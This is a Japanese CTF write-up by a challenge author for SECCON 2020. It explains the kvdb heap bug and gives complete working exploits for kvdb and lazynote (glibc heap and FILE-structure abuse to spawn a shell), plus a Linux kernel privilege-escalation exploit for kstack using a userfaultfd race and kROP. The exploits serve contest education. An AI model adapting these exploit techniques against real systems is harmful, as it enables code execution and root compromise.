SECCON 2020 Online CTF 作問 (kvdb) + レビュー (kstack, lazynote)
今回開催した SECCON 2020 Online CTF では kvdb を作問しました。 本記事では kvdb の簡単な説明を行います。 あと他に、レビューで解いた ptr-yudai プロ作問の kstack と lazynote の exploit を載せておきます。
kvdb (Pwn 470pt, 2 solves)
Simple Key-Value
nc kvdb.chal.seccon.jp 17368
解説 および 解法
ソースコードは配布ファイルに含まれているので、ここでは要所要所のみ紹介します。
プログラムの動作としては、key とデータの登録、読出し、削除ができます。 典型的なヒープ問のような動きをみせます。
Simple Key-Value Database MENU ================ 1. Put 2. Get 3. Delete 0. Exit ================ > 1 Key : hoge Size : 10 Data : fuga Done. MENU ================ 1. Put 2. Get 3. Delete 0. Exit ================ > 2 Key : hoge ---- data ---- fuga -------------- Done.
実際はヒープ上にメモリプールを確保し、そこから適宜必要な分を切り出して提供されます。
容量が不足すると GC を実行します。 gc() は新たに別の領域にプールを確保し直し、migrate() によってその領域に生きているデータを移行します。 migrate() 時に各エントリの生きているデータは移されるためポインタは更新されますが、削除されたエントリのポインタはそのまま取り残されダングリングポインタとなります。
確保し直すプールのサイズは、現在利用されているサイズと要求サイズを併せた必要サイズが収まるまで倍々にして算出します。 もし必要サイズが現在の 1/4 以下である場合は半分にします。
struct entry { char valid; uint32_t hash; uint32_t size; char *key; char *data; struct entry *next; }; struct mpool { void *base; size_t cap; size_t inuse; } mp; int db_reg(const char *key, const char *data, size_t size){ struct entry *e; if(!(e = ent_lookup(key))){ if(!(e = (struct entry*)calloc(1, sizeof(struct entry)))) panic("allocate entry"); e->hash = new_hash(key); e->key = alloc(&mp, strlen(key)+1); strcpy(e->key, key); htb_link(e); } e->valid = 1; if(e->size < size || (void*)e->data < mp.base || (void*)e->data > mp.base + mp.inuse){ e->size = 0; e->data = alloc(&mp, size); } e->size = size; memcpy(e->data, data, size); return 1; } static void *alloc(struct mpool *p, size_t size){ void *mem; if(p->inuse + size > p->cap && gc(p, size) < size) return NULL; mem = p->base + p->inuse; p->inuse += size; return mem; } static size_t gc(struct mpool *p, size_t ensure){ struct mpool new; size_t inuse, new_size; new_size = p->cap ?: 0x80; inuse = estimate_inuse(); if(new_size > 0x80 && inuse + ensure < new_size/4) new_size /= 2; while(new_size < inuse + ensure) new_size *= 2; init_mpool(&new, new_size); migrate(&new); free(p->base); *p = new; return p->cap - p->inuse; }
既に登録された key のデータを再度登録する際には、ent_lookup() で該当のエントリを探し出し、改めてその内容を更新します。
バグはここの処理に存在しています。
db_reg() 内の if(e->size < size || (void*)e->data < mp.base || (void*)e->data > mp.base + mp.inuse)
という条件を満たした場合、現在のエントリの data ポインタは利用されずに再度確保されます。
しかし、この条件は data の先頭がプール内であることは見ていますが、末尾がプール内かどうかは確認していません。
一度 GC で別の領域を取り、再度 GC で元の領域からプールを確保すると、プール管理とは関係なく許されていない領域に対して読み書きができます。
さらに、この領域が縮小されている場合は本来のヒープチャンクを超えて読み書きができます。
各エントリ自体は calloc() で確保されるため、隣接するチャンクを書き換えることでエントリを汚染することができます。 エントリのサイズを書き換え、先の unsortedbin 等々に繋がれているチャンクを読み出すことができれば、そこからヒープや libc のアドレスが得られます。 プール自体は malloc() で確保されるため、tcache の next を書き換えれば任意の個所にプールを取れます。 これを利用して free_hook を system() に書き換えます。
free() は唯一旧プールの解放に使われています。 つまりプールの先頭には "/bin/sh;..." のようなパスが無いといけません。 migrate() の処理に従って、key のハッシュ値の最下位バイトが 00 になるように調整しておきます。
Exploit
#!/usr/bin/env python3 from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py from functools import reduce bin_file = './kvdb' context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' #========== default_host = {'host':'kvdb.chal.seccon.jp', 'port':17368} env = Environment('debug', 'local', 'remote', 'monitor') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET', monitor = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file], 'aslr':False, 'gdbscript':''}, \ local = {'argv':['./ld.so', '--library-path', '.', bin_file]}, \ remote = default_host, \ monitor = {'host':os.environ['SECCON_HOST'], 'port':int(os.environ['SECCON_PORT'])} if 'SECCON_HOST' in os.environ else default_host) env.set_item('libc', debug = None, \ local = 'libc.so.6', \ remote = 'libc.so.6', \ monitor = 'libc.so.6') env.select() #========== binf = ELF(bin_file) libc = ELF(env.libc) if env.libc else binf.libc offset_libc_malloc_hook = libc.symbols['__malloc_hook'] offset_libc_mainarena = offset_libc_malloc_hook + 0x10 #========== new_hash = lambda s : reduce(lambda h,c: h*33+c, [5381]+list(map(ord, s))) & ((1<<32)-1) protect_ptr = lambda pos, ptr: ptr if env.libc is None else pos >> 12 ^ ptr def attack(conn, **kwargs): db = KVDB(conn) # extend to 0x200 bytes db.put('a'*7, 0x1f0, 'AAAA') # extend to 0x800 bytes db.put('target1', 0x220, '1111') db.delete('target1') # GC for i in range(4): alloc_useless(db, '{:07}'.format(i), 0xf8) db.delete('a'*7) # shrink to 0x400 bytes for i in range(4): alloc_useless(db, '{:07}'.format(i), 0x140) db.put('target2', 0x88, '2222') exploit = b'1111'.ljust(0x208, b'\x00') exploit += p64(0x31) exploit += p32(1) exploit += p32(new_hash('target2')) exploit += p64(0x300) db.put('target1', 0x220, exploit) leak = db.get('target2') addr_heap_base = u64(leak[0x2a8:0x2a8+8]) - 0x710 info('addr_heap_base = 0x{:08x}'.format(addr_heap_base)) addr_libc_mainarena = u64(leak[0x2c8:0x2c8+8]) - 0x60 libc.address = addr_libc_mainarena - offset_libc_mainarena info('addr_libc_base = 0x{:08x}'.format(libc.address)) addr_libc_free_hook = libc.symbols['__free_hook'] addr_libc_system = libc.sep_function['system'] db.delete('target1') db.delete('target2') # shrink to 0x200 bytes -> 0x100 bytes for x in [0x200, 0x1c0]: alloc_useless(db, 'a'*7, x) alloc_useless(db, 'a'*7, 0x8) # GC x2 for _ in range(2): alloc_useless(db, 'a'*7, 0xc0) alloc_useless(db, 'a'*7, 0x8) # extend to 0x400 bytes alloc_useless(db, 'a'*7, 0x200) exploit = b'2222'.ljust(0x290, b'\x00') exploit += p64(0x31) exploit += p32(1) exploit += p32(new_hash('target2')) exploit += p64(0x300) exploit += p64(addr_heap_base + 0x5a8) exploit += p64(addr_heap_base + 0x718) exploit += p64(0) exploit += p64(0x111) exploit += p64(protect_ptr(addr_heap_base + 0x9e0, addr_libc_free_hook - 0x50)) db.put('target2', len(exploit), exploit) db.delete('target2') # shrink to 0x200 bytes -> 0x100 bytes for _ in range(2): alloc_useless(db, 'a'*7, 0x1c8) alloc_useless(db, 'a'*7, 0x8) sh_key = '/bin/sh;#'.ljust(0xe, '_') alloc_useless(db, sh_key + chr(0x100 - new_hash(sh_key+'\x00')&0xff), 0xb0) db.put('exploit', 0x8, p64(addr_libc_system)) # GC trigger system alloc_useless(db, 'a'*7, 0xa8) db.put('system!', 0) def alloc_useless(db, key, size): db.put(key, size, 'XXXX') db.put(key, 0) db.delete(key) class KVDB: def __init__(self, conn): self.recvuntil = conn.recvuntil self.recv = conn.recv self.sendline = conn.sendline self.send = conn.send self.sendlineafter = conn.sendlineafter self.sendafter = conn.sendafter def put(self, key, size, data=None): self.sendlineafter('> ', '1') self.sendlineafter('Key : ', key) self.sendlineafter('Size : ', str(size)) if data is not None: self.sendafter('Data : ', data) def get(self, key): self.sendlineafter('> ', '2') self.sendlineafter('Key : ', key) self.recvuntil('----\n') return self.recvuntil('\n----', drop=True) def delete(self, key): self.sendlineafter('> ', '3') self.sendlineafter('Key : ', key) def getflag(conn, **kwargs): sleep(0.1) conn.sendline('exec 2>&1') sleep(0.1) conn.sendline('echo FLAG_HERE; cat flag.txt') conn.recvuntil('FLAG_HERE\n') print('FLAG : %s' % conn.recvuntil('\n', drop=True)) #========== def main(): comn = Communicate(env.mode, **env.target) comn.connect() comn.run(attack) if env.check('monitor'): comn.run(getflag) else: comn.interactive() if __name__=='__main__': main() #==========
実行結果
$ ./exploit_kvdb.py Select Environment ['debug', 'remote', 'monitor', 'local'] ...r [*] Environment : set environment "remote" [*] '/home/yutaro/CTF/SECCON/2020/online/db/kvdb' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/yutaro/CTF/SECCON/2020/online/db/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to kvdb.chal.seccon.jp on port 17368: Done [*] addr_heap_base = 0x555556bf5000 [*] addr_libc_base = 0x7f7232944000 [*] Switching to interactive mode Data : $ ls -al total 19980 drwxr-x--- 2 root kvdb 4096 Oct 9 22:16 . drwxr-xr-x 16 root root 4096 Oct 9 22:16 .. -rw-r--r-- 1 kvdb kvdb 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 kvdb kvdb 3771 Feb 25 2020 .bashrc -rw-r--r-- 1 kvdb kvdb 807 Feb 25 2020 .profile -rw-r----- 1 root kvdb 34 Oct 9 22:16 flag.txt -rwxr-x--- 1 root kvdb 18160 Oct 9 22:16 kvdb -rwxr-x--- 1 root kvdb 1639704 Oct 9 22:16 ld.so -rw-r----- 1 root kvdb 18764528 Oct 9 22:16 libc.so.6 -rwxr-x--- 1 root kvdb 59 Oct 9 22:16 run.sh $ cat flag.txt SECCON{r3u53_d4ngl1ng_p01n73r5!!}
kstack (Pwn 393pt, 4 solves)
Stack is one of the most fundamental data structure.
nc pwn-inu.chal.seccon.jp 9002
解法
push と pop には race condition を利用した double free の脆弱性があります。 push を行った際に copy_from_user() が失敗した場合、このエントリは kfree() されます。 このとき、head にエントリが繋がれた直後に pop を呼び出し、先に kfree() を実行させることができれば、同一の領域に対して二度 kfree() が実行されることになります。
switch(cmd) { case CMD_PUSH: tmp = kmalloc(sizeof(Element), GFP_KERNEL); tmp->owner = pid; tmp->fd = head; head = tmp; if (copy_from_user((void*)&tmp->value, (void*)arg, sizeof(unsigned long))) { head = tmp->fd; kfree(tmp); return -EINVAL; } break; case CMD_POP: for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) { if (tmp->owner == pid) { if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long))) return -EINVAL; if (prev) { prev->fd = tmp->fd; } else { head = tmp->fd; } kfree(tmp); break; } if (tmp->fd == NULL) return -EINVAL; } break; }
mmap で確保した領域を userfaultfd で監視し、push 時の copy_from_user() を一旦止めます。 ハンドリングを行うスレッドの中で pop を行い kfree() を実行させます。 その後に当該ページから読み込みの権限を落とせば、復帰後の copy_from_user() は失敗します。 なお、このとき未初期化の領域に対して先に pop が実行されるため、領域内に残されたポインタからカーネルのベースアドレスをリークさせることができます。
0x20 byte の領域が重複するためこれを取り、適当な関数ポインタを書き換えます。 この問題では SMAP は無効であるため、ユーザ領域に pivot して kROP を行えば root が取れます。
Exploit
// gcc exploit.c -masm=intel -fno-PIE -static -no-pie -o exploit #include <stdio.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <poll.h> #include <pthread.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <sys/xattr.h> #include <linux/userfaultfd.h> struct state { unsigned long rip; unsigned long cs; unsigned long rflags; unsigned long rsp; unsigned long ss; } stat; void get_root(void* func); void shell(void); static void save_state(void); static void restore_state(void); /* exploit */ #define BASE 0xffffffff81000000 #define OFFSET(addr) ((addr) - (BASE)) #define ADDR(offset) (kernel_base + (offset)) unsigned long kernel_base = 0; unsigned long ofs_single_stop = OFFSET(0xffffffff8113be80); unsigned long ofs_prepare_kernel_cred = OFFSET(0xffffffff81069e00); unsigned long ofs_commit_creds = OFFSET(0xffffffff81069c10); unsigned long ofs_stack_pivot = OFFSET(0xffffffff8102cae0); // mov esp, 0x5D000010 ; ret unsigned long ofs_pop_rdi = OFFSET(0xffffffff8111c353); // pop rdi ; ret unsigned long ofs_pop_rcx = OFFSET(0xffffffff810368fa); // pop rcx ; ret unsigned long ofs_mov_rdi_rax = OFFSET(0xffffffff8101877f); // mov rdi, rax ; rep movsq ; pop rbp ; ret unsigned long ofs_ret2usermode = OFFSET(0xffffffff81600a34); // swapgs_restore_regs_and_return_to_usermode struct cred* (*prepare_kernel_cred)(struct task_struct *daemon); int (*commit_creds)(struct cred *new); int stackfd; unsigned long leak; #define CMD_PUSH 0x57ac0001 #define CMD_POP 0x57ac0002 #define PUSH(p) ioctl(stackfd, CMD_PUSH, p) #define POP(p) ioctl(stackfd, CMD_POP, p) static int init_uffd(void *region, size_t size, void *(*handler)(void*)); static void *uffd_handler(void *arg); int main(void){ int seq_fd; void *page; setbuf(stdout, NULL); save_state(); stat.rip = shell; if((stackfd = open("/proc/stack", O_RDWR)) < 0) return -1; page = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); init_uffd(page, 0x1000, uffd_handler); seq_fd = open("/proc/self/stat", O_RDONLY); close(seq_fd); PUSH(page); unsigned long single_stop = leak; kernel_base = single_stop - ofs_single_stop; printf("[+] kernel_base = %p\n", kernel_base); unsigned long buf[0x20/sizeof(unsigned long)] = {}; buf[3] = ADDR(ofs_stack_pivot); seq_fd = open("/proc/self/stat", O_RDONLY); setxattr("/tmp", "x", buf, 0x20, XATTR_CREATE); unsigned long *fake_stack = mmap(0x5D000000-0x1000, 0x2000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE, -1, 0); fake_stack += 0x1010/sizeof(unsigned long); *(fake_stack++) = ADDR(ofs_pop_rdi); *(fake_stack++) = 0; *(fake_stack++) = ADDR(ofs_prepare_kernel_cred); *(fake_stack++) = ADDR(ofs_mov_rdi_rax); *(fake_stack++) = 0xdeadbeef; *(fake_stack++) = ADDR(ofs_commit_creds); *(fake_stack++) = ADDR(ofs_ret2usermode + 0x36); *(fake_stack++) = 0xdeadbeef; *(fake_stack++) = 0xdeadbeef; memcpy(fake_stack, &stat, sizeof(stat)); read(seq_fd, NULL, 0); } static int init_uffd(void *region, size_t size, void *(*handler)(void*)){ int uffd; struct uffdio_api uffdio_api = { .api = UFFD_API, .features = 0 }; struct uffdio_register uffdio_register = { .mode = UFFDIO_REGISTER_MODE_MISSING, .range = { .start = (uint64_t)region, .len = size } }; pthread_t th; uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); ioctl(uffd, UFFDIO_API, &uffdio_api); ioctl(uffd, UFFDIO_REGISTER, &uffdio_register); pthread_create(&th, NULL, handler, (void*)uffd); } static void *uffd_handler(void *arg){ int uffd = (int)arg; for (;;) { struct pollfd pollfd = { .fd = uffd, .events = POLLIN }; struct uffd_msg msg; poll(&pollfd, 1, -1); read(uffd, &msg, sizeof(msg)); if (msg.event & UFFD_EVENT_PAGEFAULT) { struct uffdio_range range = { .start = (uint64_t)msg.arg.pagefault.address, .len = 0x1000 }; POP(&leak); mprotect((void*)range.start, range.len, PROT_NONE); ioctl(uffd, UFFDIO_UNREGISTER, &range); } } return NULL; } /* auxiliary functions */ static void save_state(void) { register long *rsp asm("rsp"); asm( "mov rax, ss\n" "push rax\n" "lea rax, [rsp+0x18]\n" "push rax\n" "pushfq\n" "mov rax, cs\n" "push rax\n" "mov rax, [rbp+8]\n" "push rax\n" ); memcpy(&stat, rsp, sizeof(stat)); asm("add rsp, 0x28"); } void shell(void){ char *argv[] = {"/bin/sh", NULL}; execve(argv[0], argv, NULL); }
lazynote (Pwn 227pt, 16 solves)
I'm too lazy to finish writing my program.
nc pwn-neko.chal.seccon.jp 9003
解法
後で書く
Exploit
#!/usr/bin/env python3 from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py bin_file = './chall' context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' #========== env = Environment('debug', 'local', 'remote') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file], 'aslr':False, 'gdbscript':''}, \ local = {'argv':[bin_file]}, \ remote = {'host':'target', 'port':4296}) env.set_item('libc', debug = None, \ local = None, \ remote = 'libc-2.27.so') env.select() #========== binf = ELF(bin_file) libc = ELF(env.libc) if env.libc else binf.libc offset_libc_stdout = libc.symbols['_IO_2_1_stdout_'] offset_libc_stdin = libc.symbols['_IO_2_1_stdin_'] offset_libc_io_file_jumps = libc.symbols['_IO_file_jumps'] offset_libc_malloc_hook = libc.symbols['__malloc_hook'] #========== def attack(conn, **kwargs): ln = LazyNote(conn) ln.writenull(offset_libc_stdout + 0x10) # _IO_read_end ln.silent = True ln.writenull(offset_libc_stdout + 0x20) # _IO_write_base ln.silent = False conn.recv(0x58) addr_libc_io_file_jumps = u64(conn.recv(8)) libc.address = addr_libc_io_file_jumps - offset_libc_io_file_jumps info('addr_libc_base = 0x{:08x}'.format(libc.address)) addr_libc_stdin = libc.symbols['_IO_2_1_stdin_'] addr_libc_io_file_jumps = libc.symbols['_IO_file_jumps'] addr_libc_io_str_jumps = addr_libc_io_file_jumps + 0xc0 addr_libc_system = libc.sep_function['system'] addr_libc_str_sh = next(libc.search(b'/bin/sh')) ln.writenull(offset_libc_stdin + 0x38) # _IO_buf_base stdin_2 = p64(0xfbad2080) stdin_2 += p64(addr_libc_stdin) stdin_2 += p64(0)*3 stdin_2 += p64((addr_libc_str_sh - 0x64) // 2) # _IO_write_ptr stdin_2 += p64(0)*2 stdin_2 += p64((addr_libc_str_sh - 0x64) // 2) # _IO_buf_end stdin_2 += p64(0)*18 stdin_2 += p64(addr_libc_io_str_jumps - 0x10) stdin_2 += p64(addr_libc_system) stdin_1 = p64(0xfbad208b) stdin_1 += p64(addr_libc_stdin) stdin_1 += p64(0)*5 stdin_1 += p64(addr_libc_stdin) # _IO_buf_base stdin_1 += p64(addr_libc_stdin + len(stdin_2)) # _IO_buf_end conn.sendlineafter("> ", stdin_1.ljust(0x84, b'\x00') + stdin_2) class LazyNote: def __init__(self, conn): self.recvuntil = conn.recvuntil self.recv = conn.recv self.sendline = conn.sendline self.send = conn.send self.sendlineafter = conn.sendlineafter self.sendafter = conn.sendafter self.offset = 0 self.silent = False def alloc(self, size, length, data): if self.silent: self.send('1\n{}\n{}\n{}\n'.format(size, length, data)) else: self.sendlineafter('> ', '1') self.sendlineafter('alloc size: ', str(size)) self.sendlineafter('read size: ', str(length)) self.sendlineafter('data: ', data) def writenull(self, ofs, data = ''): self.offset += 0x1e4000 self.alloc(0x1e3fe8, self.offset + ofs - 0xf, data) #========== def main(): comn = Communicate(env.mode, **env.target) comn.connect() comn.run(attack) comn.interactive() if __name__=='__main__': main() #==========